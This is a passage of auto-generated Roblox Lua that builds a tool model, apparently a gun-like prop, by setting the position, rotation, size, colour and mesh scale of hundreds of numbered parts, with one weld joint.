  4483. Part322.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4484. BlockMesh323.Parent = Part322
  4485. BlockMesh323.Scale = Vector3.new(0.100000009, 0.400000066, 0.0666666701)
  4486. BlockMesh323.Scale = Vector3.new(0.100000009, 0.400000066, 0.0666666701)
  4487. Part324.Parent = Tool0
  4488. Part324.Material = Enum.Material.Metal
  4489. Part324.BrickColor = BrickColor.new("Dark stone grey")
  4490. Part324.Rotation = Vector3.new(90, 0, -180)
  4491. Part324.Anchored = true
  4492. Part324.FormFactor = Enum.FormFactor.Custom
  4493. Part324.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4494. Part324.CFrame = CFrame.new(143.222946, 4.07990694, 144.370956, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4495. Part324.BottomSurface = Enum.SurfaceType.Smooth
  4496. Part324.TopSurface = Enum.SurfaceType.Smooth
  4497. Part324.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4498. Part324.Position = Vector3.new(143.222946, 4.07990694, 144.370956)
  4499. Part324.Orientation = Vector3.new(90, 180, 0)
  4500. Part324.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4501. BlockMesh325.Parent = Part324
  4502. BlockMesh325.Scale = Vector3.new(0.0233333316, 0.13333331, 0.0433333293)
  4503. BlockMesh325.Scale = Vector3.new(0.0233333316, 0.13333331, 0.0433333293)
  4504. Part326.Parent = Tool0
  4505. Part326.Material = Enum.Material.Metal
  4506. Part326.BrickColor = BrickColor.new("Black")
  4507. Part326.Rotation = Vector3.new(-90, 0, 90)
  4508. Part326.Anchored = true
  4509. Part326.FormFactor = Enum.FormFactor.Custom
  4510. Part326.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4511. Part326.CFrame = CFrame.new(143.752945, 3.25991702, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4512. Part326.BottomSurface = Enum.SurfaceType.Smooth
  4513. Part326.TopSurface = Enum.SurfaceType.Smooth
  4514. Part326.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4515. Part326.Position = Vector3.new(143.752945, 3.25991702, 144.39093)
  4516. Part326.Orientation = Vector3.new(-90, 90, 0)
  4517. Part326.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4518. BlockMesh327.Parent = Part326
  4519. BlockMesh327.Scale = Vector3.new(0.666666687, 0.333333373, 0.833333373)
  4520. BlockMesh327.Scale = Vector3.new(0.666666687, 0.333333373, 0.833333373)
  4521. Part328.Parent = Tool0
  4522. Part328.Material = Enum.Material.Metal
  4523. Part328.BrickColor = BrickColor.new("Dark stone grey")
  4524. Part328.Rotation = Vector3.new(-90, -60, 90)
  4525. Part328.Anchored = true
  4526. Part328.FormFactor = Enum.FormFactor.Custom
  4527. Part328.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4528. Part328.CFrame = CFrame.new(144.049606, 3.51324797, 144.39093, 0, -0.500036418, -0.866004467, 0, -0.866004467, 0.500036418, -1, 0, -0)
  4529. Part328.BottomSurface = Enum.SurfaceType.Smooth
  4530. Part328.TopSurface = Enum.SurfaceType.Smooth
  4531. Part328.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4532. Part328.Position = Vector3.new(144.049606, 3.51324797, 144.39093)
  4533. Part328.Orientation = Vector3.new(-30, -90, 180)
  4534. Part328.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4535. BlockMesh329.Parent = Part328
  4536. BlockMesh329.Scale = Vector3.new(0.599999964, 0.100000009, 0.833333373)
  4537. BlockMesh329.Scale = Vector3.new(0.599999964, 0.100000009, 0.833333373)
  4538. Part330.Parent = Tool0
  4539. Part330.Material = Enum.Material.Metal
  4540. Part330.BrickColor = BrickColor.new("Dark stone grey")
  4541. Part330.Rotation = Vector3.new(90, 0, -180)
  4542. Part330.Anchored = true
  4543. Part330.FormFactor = Enum.FormFactor.Custom
  4544. Part330.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4545. Part330.CFrame = CFrame.new(143.802933, 3.25991702, 144.460938, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4546. Part330.BottomSurface = Enum.SurfaceType.Smooth
  4547. Part330.TopSurface = Enum.SurfaceType.Smooth
  4548. Part330.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4549. Part330.Position = Vector3.new(143.802933, 3.25991702, 144.460938)
  4550. Part330.Orientation = Vector3.new(90, 180, 0)
  4551. Part330.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4552. CylinderMesh331.Parent = Part330
  4553. CylinderMesh331.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  4554. CylinderMesh331.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  4555. Part332.Parent = Tool0
  4556. Part332.Material = Enum.Material.Metal
  4557. Part332.BrickColor = BrickColor.new("Dark stone grey")
  4558. Part332.Rotation = Vector3.new(90, 0, -180)
  4559. Part332.Anchored = true
  4560. Part332.FormFactor = Enum.FormFactor.Custom
  4561. Part332.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4562. Part332.CFrame = CFrame.new(143.229599, 4.03324604, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4563. Part332.BottomSurface = Enum.SurfaceType.Smooth
  4564. Part332.TopSurface = Enum.SurfaceType.Smooth
  4565. Part332.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4566. Part332.Position = Vector3.new(143.229599, 4.03324604, 144.347595)
  4567. Part332.Orientation = Vector3.new(90, 180, 0)
  4568. Part332.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4569. CylinderMesh333.Parent = Part332
  4570. CylinderMesh333.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666672)
  4571. CylinderMesh333.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666672)
  4572. Part334.Parent = Tool0
  4573. Part334.Material = Enum.Material.Metal
  4574. Part334.BrickColor = BrickColor.new("Dark stone grey")
  4575. Part334.Rotation = Vector3.new(-90, 0, 90)
  4576. Part334.Anchored = true
  4577. Part334.FormFactor = Enum.FormFactor.Custom
  4578. Part334.Size = Vector3.new(0.200000003, 0.333333343, 0.200000003)
  4579. Part334.CFrame = CFrame.new(143.952927, 3.76324296, 144.500931, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4580. Part334.BottomSurface = Enum.SurfaceType.Smooth
  4581. Part334.TopSurface = Enum.SurfaceType.Smooth
  4582. Part334.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4583. Part334.Position = Vector3.new(143.952927, 3.76324296, 144.500931)
  4584. Part334.Orientation = Vector3.new(-90, 90, 0)
  4585. Part334.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4586. BlockMesh335.Parent = Part334
  4587. BlockMesh335.Scale = Vector3.new(0.0333333351, 1, 0.333333343)
  4588. BlockMesh335.Scale = Vector3.new(0.0333333351, 1, 0.333333343)
  4589. Part336.Parent = Tool0
  4590. Part336.Material = Enum.Material.Metal
  4591. Part336.BrickColor = BrickColor.new("Dark stone grey")
  4592. Part336.Rotation = Vector3.new(-90, 0, 90)
  4593. Part336.Anchored = true
  4594. Part336.FormFactor = Enum.FormFactor.Custom
  4595. Part336.Size = Vector3.new(0.200000003, 0.333333343, 0.200000003)
  4596. Part336.CFrame = CFrame.new(143.952927, 3.76324797, 144.28093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4597. Part336.BottomSurface = Enum.SurfaceType.Smooth
  4598. Part336.TopSurface = Enum.SurfaceType.Smooth
  4599. Part336.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4600. Part336.Position = Vector3.new(143.952927, 3.76324797, 144.28093)
  4601. Part336.Orientation = Vector3.new(-90, 90, 0)
  4602. Part336.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4603. BlockMesh337.Parent = Part336
  4604. BlockMesh337.Scale = Vector3.new(0.0333333351, 1, 0.333333343)
  4605. BlockMesh337.Scale = Vector3.new(0.0333333351, 1, 0.333333343)
  4606. Part338.Parent = Tool0
  4607. Part338.Material = Enum.Material.Metal
  4608. Part338.BrickColor = BrickColor.new("Dark stone grey")
  4609. Part338.Rotation = Vector3.new(90, 0, -180)
  4610. Part338.Anchored = true
  4611. Part338.FormFactor = Enum.FormFactor.Custom
  4612. Part338.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4613. Part338.CFrame = CFrame.new(143.802933, 3.43991399, 144.460938, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4614. Part338.BottomSurface = Enum.SurfaceType.Smooth
  4615. Part338.TopSurface = Enum.SurfaceType.Smooth
  4616. Part338.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4617. Part338.Position = Vector3.new(143.802933, 3.43991399, 144.460938)
  4618. Part338.Orientation = Vector3.new(90, 180, 0)
  4619. Part338.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4620. CylinderMesh339.Parent = Part338
  4621. CylinderMesh339.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  4622. CylinderMesh339.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  4623. Part340.Parent = Tool0
  4624. Part340.Material = Enum.Material.Metal
  4625. Part340.BrickColor = BrickColor.new("Black")
  4626. Part340.Rotation = Vector3.new(-90, 0, -180)
  4627. Part340.Anchored = true
  4628. Part340.FormFactor = Enum.FormFactor.Custom
  4629. Part340.Size = Vector3.new(0.200000003, 0.213333324, 0.200000003)
  4630. Part340.CFrame = CFrame.new(144.289597, 3.79991603, 144.39093, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  4631. Part340.BottomSurface = Enum.SurfaceType.Smooth
  4632. Part340.TopSurface = Enum.SurfaceType.Smooth
  4633. Part340.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4634. Part340.Position = Vector3.new(144.289597, 3.79991603, 144.39093)
  4635. Part340.Orientation = Vector3.new(-90, -180, 0)
  4636. Part340.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4637. CylinderMesh341.Parent = Part340
  4638. CylinderMesh341.Scale = Vector3.new(0.333333433, 1, 0.166666672)
  4639. CylinderMesh341.Scale = Vector3.new(0.333333433, 1, 0.166666672)
  4640. ManualWeld342.Name = "Part-to-Handle Strong Joint"
  4641. ManualWeld342.Parent = Part340
  4642. ManualWeld342.C0 = CFrame.new(0.100000001, -0.106666662, 0.100000001, -0, 0, 1, 0, 1, 0, -1, 0, -0)
  4643. ManualWeld342.C1 = CFrame.new(-0.106674194, 0.234465361, -0.102676392, 0, 1, 0, -1, 0, -6.29127026e-05, -6.29127026e-05, 0, 1)
  4644. ManualWeld342.Part0 = Part340
  4645. ManualWeld342.Part1 = Part30
  4646. Part343.Parent = Tool0
  4647. Part343.Material = Enum.Material.Metal
  4648. Part343.BrickColor = BrickColor.new("Black")
  4649. Part343.Rotation = Vector3.new(90, 0, 90)
  4650. Part343.Anchored = true
  4651. Part343.FormFactor = Enum.FormFactor.Custom
  4652. Part343.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4653. Part343.CFrame = CFrame.new(143.772934, 3.48657799, 144.340927, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  4654. Part343.BottomSurface = Enum.SurfaceType.Smooth
  4655. Part343.TopSurface = Enum.SurfaceType.Smooth
  4656. Part343.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4657. Part343.Position = Vector3.new(143.772934, 3.48657799, 144.340927)
  4658. Part343.Orientation = Vector3.new(90, -90, 0)
  4659. Part343.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4660. SpecialMesh344.Parent = Part343
  4661. SpecialMesh344.Scale = Vector3.new(0.166666567, 0.0666666403, 0.433333367)
  4662. SpecialMesh344.MeshType = Enum.MeshType.Wedge
  4663. SpecialMesh344.Scale = Vector3.new(0.166666567, 0.0666666403, 0.433333367)
  4664. Part345.Parent = Tool0
  4665. Part345.Material = Enum.Material.Metal
  4666. Part345.BrickColor = BrickColor.new("Black")
  4667. Part345.Rotation = Vector3.new(-90, 0, -180)
  4668. Part345.Anchored = true
  4669. Part345.FormFactor = Enum.FormFactor.Custom
  4670. Part345.Size = Vector3.new(0.200000003, 0.213333279, 0.200000003)
  4671. Part345.CFrame = CFrame.new(143.682938, 3.79991603, 144.39093, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  4672. Part345.BottomSurface = Enum.SurfaceType.Smooth
  4673. Part345.TopSurface = Enum.SurfaceType.Smooth
  4674. Part345.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4675. Part345.Position = Vector3.new(143.682938, 3.79991603, 144.39093)
  4676. Part345.Orientation = Vector3.new(-90, -180, 0)
  4677. Part345.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4678. CylinderMesh346.Parent = Part345
  4679. CylinderMesh346.Scale = Vector3.new(0.333333433, 1, 0.166666672)
  4680. CylinderMesh346.Scale = Vector3.new(0.333333433, 1, 0.166666672)
  4681. Part347.Parent = Tool0
  4682. Part347.Material = Enum.Material.Metal
  4683. Part347.BrickColor = BrickColor.new("Black")
  4684. Part347.Rotation = Vector3.new(-90, 0, 90)
  4685. Part347.Anchored = true
  4686. Part347.FormFactor = Enum.FormFactor.Custom
  4687. Part347.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4688. Part347.CFrame = CFrame.new(143.782944, 3.66324496, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4689. Part347.BottomSurface = Enum.SurfaceType.Smooth
  4690. Part347.TopSurface = Enum.SurfaceType.Smooth
  4691. Part347.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4692. Part347.Position = Vector3.new(143.782944, 3.66324496, 144.39093)
  4693. Part347.Orientation = Vector3.new(-90, 90, 0)
  4694. Part347.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4695. BlockMesh348.Parent = Part347
  4696. BlockMesh348.Scale = Vector3.new(0.666666746, 0.0333333351, 0.466666698)
  4697. BlockMesh348.Scale = Vector3.new(0.666666746, 0.0333333351, 0.466666698)
  4698. Part349.Parent = Tool0
  4699. Part349.Material = Enum.Material.Metal
  4700. Part349.BrickColor = BrickColor.new("Dark stone grey")
  4701. Part349.Rotation = Vector3.new(90, -59.9899979, -90)
  4702. Part349.Anchored = true
  4703. Part349.FormFactor = Enum.FormFactor.Custom
  4704. Part349.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4705. Part349.CFrame = CFrame.new(144.259598, 3.479913, 144.39093, 0, 0.500145674, -0.865941763, 0, -0.865941763, -0.500145674, -1, 0, 0)
  4706. Part349.BottomSurface = Enum.SurfaceType.Smooth
  4707. Part349.TopSurface = Enum.SurfaceType.Smooth
  4708. Part349.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4709. Part349.Position = Vector3.new(144.259598, 3.479913, 144.39093)
  4710. Part349.Orientation = Vector3.new(30.0100002, -90, 180)
  4711. Part349.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4712. BlockMesh350.Parent = Part349
  4713. BlockMesh350.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
  4714. BlockMesh350.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
  4715. Part351.Parent = Tool0
  4716. Part351.Material = Enum.Material.Metal
  4717. Part351.BrickColor = BrickColor.new("Dark stone grey")
  4718. Part351.Rotation = Vector3.new(90, 60, 90)
  4719. Part351.Anchored = true
  4720. Part351.FormFactor = Enum.FormFactor.Custom
  4721. Part351.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4722. Part351.CFrame = CFrame.new(144.136246, 3.56488299, 144.39093, 0, -0.499927223, 0.86606729, 0, -0.86606729, -0.499927223, 0.999999821, 0, 0)
  4723. Part351.BottomSurface = Enum.SurfaceType.Smooth
  4724. Part351.TopSurface = Enum.SurfaceType.Smooth
  4725. Part351.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4726. Part351.Position = Vector3.new(144.136246, 3.56488299, 144.39093)
  4727. Part351.Orientation = Vector3.new(30, 90, 180)
  4728. Part351.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4729. BlockMesh352.Parent = Part351
  4730. BlockMesh352.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
  4731. BlockMesh352.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
  4732. Part353.Parent = Tool0
  4733. Part353.Material = Enum.Material.Metal
  4734. Part353.BrickColor = BrickColor.new("Black")
  4735. Part353.Rotation = Vector3.new(90, 0, 90)
  4736. Part353.Anchored = true
  4737. Part353.FormFactor = Enum.FormFactor.Custom
  4738. Part353.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4739. Part353.CFrame = CFrame.new(143.77626, 3.35991502, 144.39093, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  4740. Part353.BottomSurface = Enum.SurfaceType.Smooth
  4741. Part353.TopSurface = Enum.SurfaceType.Smooth
  4742. Part353.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4743. Part353.Position = Vector3.new(143.77626, 3.35991502, 144.39093)
  4744. Part353.Orientation = Vector3.new(90, -90, 0)
  4745. Part353.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4746. BlockMesh354.Parent = Part353
  4747. BlockMesh354.Scale = Vector3.new(0.666666687, 0.100000024, 0.166666672)
  4748. BlockMesh354.Scale = Vector3.new(0.666666687, 0.100000024, 0.166666672)
  4749. Part355.Parent = Tool0
  4750. Part355.Material = Enum.Material.Metal
  4751. Part355.BrickColor = BrickColor.new("Black")
  4752. Part355.Rotation = Vector3.new(90, 0, -180)
  4753. Part355.Anchored = true
  4754. Part355.FormFactor = Enum.FormFactor.Custom
  4755. Part355.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4756. Part355.CFrame = CFrame.new(143.082932, 3.86991811, 144.387604, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4757. Part355.BottomSurface = Enum.SurfaceType.Smooth
  4758. Part355.TopSurface = Enum.SurfaceType.Smooth
  4759. Part355.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4760. Part355.Position = Vector3.new(143.082932, 3.86991811, 144.387604)
  4761. Part355.Orientation = Vector3.new(90, 180, 0)
  4762. Part355.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4763. BlockMesh356.Parent = Part355
  4764. BlockMesh356.Scale = Vector3.new(0.366666734, 0.733332992, 0.533333421)
  4765. BlockMesh356.Scale = Vector3.new(0.366666734, 0.733332992, 0.533333421)
  4766. Part357.Parent = Tool0
  4767. Part357.Material = Enum.Material.Metal
  4768. Part357.BrickColor = BrickColor.new("Dark stone grey")
  4769. Part357.Rotation = Vector3.new(90, 0, -180)
  4770. Part357.Anchored = true
  4771. Part357.FormFactor = Enum.FormFactor.Custom
  4772. Part357.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4773. Part357.CFrame = CFrame.new(143.1996, 4.04323912, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4774. Part357.BottomSurface = Enum.SurfaceType.Smooth
  4775. Part357.TopSurface = Enum.SurfaceType.Smooth
  4776. Part357.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4777. Part357.Position = Vector3.new(143.1996, 4.04323912, 144.434265)
  4778. Part357.Orientation = Vector3.new(90, 180, 0)
  4779. Part357.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4780. BlockMesh358.Parent = Part357
  4781. BlockMesh358.Scale = Vector3.new(0.333333373, 0.0333333351, 0.0666666701)
  4782. BlockMesh358.Scale = Vector3.new(0.333333373, 0.0333333351, 0.0666666701)
  4783. Part359.Parent = Tool0
  4784. Part359.Material = Enum.Material.Metal
  4785. Part359.BrickColor = BrickColor.new("Dark stone grey")
  4786. Part359.Rotation = Vector3.new(90, 0, 0)
  4787. Part359.Anchored = true
  4788. Part359.FormFactor = Enum.FormFactor.Custom
  4789. Part359.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4790. Part359.CFrame = CFrame.new(143.782944, 3.47324896, 144.39093, 1, 0, 0, 0, 0, -1, 0, 1, 0)
  4791. Part359.BottomSurface = Enum.SurfaceType.Smooth
  4792. Part359.TopSurface = Enum.SurfaceType.Smooth
  4793. Part359.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4794. Part359.Position = Vector3.new(143.782944, 3.47324896, 144.39093)
  4795. Part359.Orientation = Vector3.new(90, 0, 0)
  4796. Part359.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4797. CylinderMesh360.Parent = Part359
  4798. CylinderMesh360.Scale = Vector3.new(0.366666675, 0.333333343, 0.366666675)
  4799. CylinderMesh360.Scale = Vector3.new(0.366666675, 0.333333343, 0.366666675)
  4800. Part361.Parent = Tool0
  4801. Part361.Material = Enum.Material.Metal
  4802. Part361.BrickColor = BrickColor.new("Dark stone grey")
  4803. Part361.Rotation = Vector3.new(-90, -90, 0)
  4804. Part361.Anchored = true
  4805. Part361.FormFactor = Enum.FormFactor.Custom
  4806. Part361.Size = Vector3.new(0.200000003, 0.200000003, 0.666666746)
  4807. Part361.CFrame = CFrame.new(144.152939, 3.97324204, 144.290939, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  4808. Part361.BottomSurface = Enum.SurfaceType.Smooth
  4809. Part361.TopSurface = Enum.SurfaceType.Smooth
  4810. Part361.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4811. Part361.Position = Vector3.new(144.152939, 3.97324204, 144.290939)
  4812. Part361.Orientation = Vector3.new(0, -90, 90)
  4813. Part361.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4814. BlockMesh362.Parent = Part361
  4815. BlockMesh362.Scale = Vector3.new(0.166666493, 0.0666666701, 1)
  4816. BlockMesh362.Scale = Vector3.new(0.166666493, 0.0666666701, 1)
  4817. Part363.Parent = Tool0
  4818. Part363.Material = Enum.Material.Metal
  4819. Part363.BrickColor = BrickColor.new("Black")
  4820. Part363.Rotation = Vector3.new(90, 0, 90)
  4821. Part363.Anchored = true
  4822. Part363.FormFactor = Enum.FormFactor.Custom
  4823. Part363.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4824. Part363.CFrame = CFrame.new(143.742935, 3.39324498, 144.39093, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  4825. Part363.BottomSurface = Enum.SurfaceType.Smooth
  4826. Part363.TopSurface = Enum.SurfaceType.Smooth
  4827. Part363.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4828. Part363.Position = Vector3.new(143.742935, 3.39324498, 144.39093)
  4829. Part363.Orientation = Vector3.new(90, -90, 0)
  4830. Part363.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4831. SpecialMesh364.Parent = Part363
  4832. SpecialMesh364.Scale = Vector3.new(0.666666687, 0.233333334, 0.50000006)
  4833. SpecialMesh364.MeshType = Enum.MeshType.Wedge
  4834. SpecialMesh364.Scale = Vector3.new(0.666666687, 0.233333334, 0.50000006)
  4835. Part365.Parent = Tool0
  4836. Part365.Material = Enum.Material.Metal
  4837. Part365.BrickColor = BrickColor.new("Dark stone grey")
  4838. Part365.Rotation = Vector3.new(90, 0, -180)
  4839. Part365.Anchored = true
  4840. Part365.FormFactor = Enum.FormFactor.Custom
  4841. Part365.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4842. Part365.CFrame = CFrame.new(143.219604, 4.00657988, 144.457596, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4843. Part365.BottomSurface = Enum.SurfaceType.Smooth
  4844. Part365.TopSurface = Enum.SurfaceType.Smooth
  4845. Part365.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4846. Part365.Position = Vector3.new(143.219604, 4.00657988, 144.457596)
  4847. Part365.Orientation = Vector3.new(90, 180, 0)
  4848. Part365.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4849. BlockMesh366.Parent = Part365
  4850. BlockMesh366.Scale = Vector3.new(0.99999994, 0.0666664839, 0.166666657)
  4851. BlockMesh366.Scale = Vector3.new(0.99999994, 0.0666664839, 0.166666657)
  4852. Part367.Parent = Tool0
  4853. Part367.Material = Enum.Material.Metal
  4854. Part367.BrickColor = BrickColor.new("Dark stone grey")
  4855. Part367.Rotation = Vector3.new(-90, 0, -180)
  4856. Part367.Anchored = true
  4857. Part367.FormFactor = Enum.FormFactor.Custom
  4858. Part367.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4859. Part367.CFrame = CFrame.new(144.12294, 3.76324797, 144.28093, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  4860. Part367.BottomSurface = Enum.SurfaceType.Smooth
  4861. Part367.TopSurface = Enum.SurfaceType.Smooth
  4862. Part367.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4863. Part367.Position = Vector3.new(144.12294, 3.76324797, 144.28093)
  4864. Part367.Orientation = Vector3.new(-90, -180, 0)
  4865. Part367.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4866. CylinderMesh368.Parent = Part367
  4867. CylinderMesh368.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
  4868. CylinderMesh368.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
  4869. Part369.Parent = Tool0
  4870. Part369.Material = Enum.Material.Metal
  4871. Part369.BrickColor = BrickColor.new("Black")
  4872. Part369.Rotation = Vector3.new(-90, 0, 90)
  4873. Part369.Anchored = true
  4874. Part369.FormFactor = Enum.FormFactor.Custom
  4875. Part369.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4876. Part369.CFrame = CFrame.new(143.632935, 3.79992294, 144.290939, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4877. Part369.BottomSurface = Enum.SurfaceType.Smooth
  4878. Part369.TopSurface = Enum.SurfaceType.Smooth
  4879. Part369.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4880. Part369.Position = Vector3.new(143.632935, 3.79992294, 144.290939)
  4881. Part369.Orientation = Vector3.new(-90, 90, 0)
  4882. Part369.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4883. BlockMesh370.Parent = Part369
  4884. BlockMesh370.Scale = Vector3.new(0.0666666031, 0.333333582, 0.166666716)
  4885. BlockMesh370.Scale = Vector3.new(0.0666666031, 0.333333582, 0.166666716)
  4886. Part371.Parent = Tool0
  4887. Part371.Material = Enum.Material.Metal
  4888. Part371.BrickColor = BrickColor.new("Black")
  4889. Part371.Rotation = Vector3.new(-90, -90, 0)
  4890. Part371.Anchored = true
  4891. Part371.FormFactor = Enum.FormFactor.Custom
  4892. Part371.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4893. Part371.CFrame = CFrame.new(144.409607, 3.78991199, 144.290939, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  4894. Part371.BottomSurface = Enum.SurfaceType.Smooth
  4895. Part371.TopSurface = Enum.SurfaceType.Smooth
  4896. Part371.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4897. Part371.Position = Vector3.new(144.409607, 3.78991199, 144.290939)
  4898. Part371.Orientation = Vector3.new(0, -90, 90)
  4899. Part371.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4900. BlockMesh372.Parent = Part371
  4901. BlockMesh372.Scale = Vector3.new(0.266666532, 0.0666666701, 0.766666472)
  4902. BlockMesh372.Scale = Vector3.new(0.266666532, 0.0666666701, 0.766666472)
  4903. Part373.Parent = Tool0
  4904. Part373.Material = Enum.Material.Metal
  4905. Part373.BrickColor = BrickColor.new("Black")
  4906. Part373.Rotation = Vector3.new(90, 0, -180)
  4907. Part373.Anchored = true
  4908. Part373.FormFactor = Enum.FormFactor.Custom
  4909. Part373.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4910. Part373.CFrame = CFrame.new(143.099594, 3.94657993, 144.387604, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4911. Part373.BottomSurface = Enum.SurfaceType.Smooth
  4912. Part373.TopSurface = Enum.SurfaceType.Smooth
  4913. Part373.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4914. Part373.Position = Vector3.new(143.099594, 3.94657993, 144.387604)
  4915. Part373.Orientation = Vector3.new(90, 180, 0)
  4916. Part373.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4917. BlockMesh374.Parent = Part373
  4918. BlockMesh374.Scale = Vector3.new(0.200000018, 0.733333051, 0.166666642)
  4919. BlockMesh374.Scale = Vector3.new(0.200000018, 0.733333051, 0.166666642)
  4920. Part375.Parent = Tool0
  4921. Part375.Material = Enum.Material.Metal
  4922. Part375.BrickColor = BrickColor.new("Black")
  4923. Part375.Rotation = Vector3.new(-90, 0, 90)
  4924. Part375.Anchored = true
  4925. Part375.FormFactor = Enum.FormFactor.Custom
  4926. Part375.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4927. Part375.CFrame = CFrame.new(143.772934, 3.61992002, 144.340927, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4928. Part375.BottomSurface = Enum.SurfaceType.Smooth
  4929. Part375.TopSurface = Enum.SurfaceType.Smooth
  4930. Part375.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4931. Part375.Position = Vector3.new(143.772934, 3.61992002, 144.340927)
  4932. Part375.Orientation = Vector3.new(-90, 90, 0)
  4933. Part375.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4934. SpecialMesh376.Parent = Part375
  4935. SpecialMesh376.Scale = Vector3.new(0.166666567, 0.0666666403, 0.233333319)
  4936. SpecialMesh376.MeshType = Enum.MeshType.Wedge
  4937. SpecialMesh376.Scale = Vector3.new(0.166666567, 0.0666666403, 0.233333319)
  4938. Part377.Parent = Tool0
  4939. Part377.Material = Enum.Material.Metal
  4940. Part377.BrickColor = BrickColor.new("Dark stone grey")
  4941. Part377.Rotation = Vector3.new(90, 0, -180)
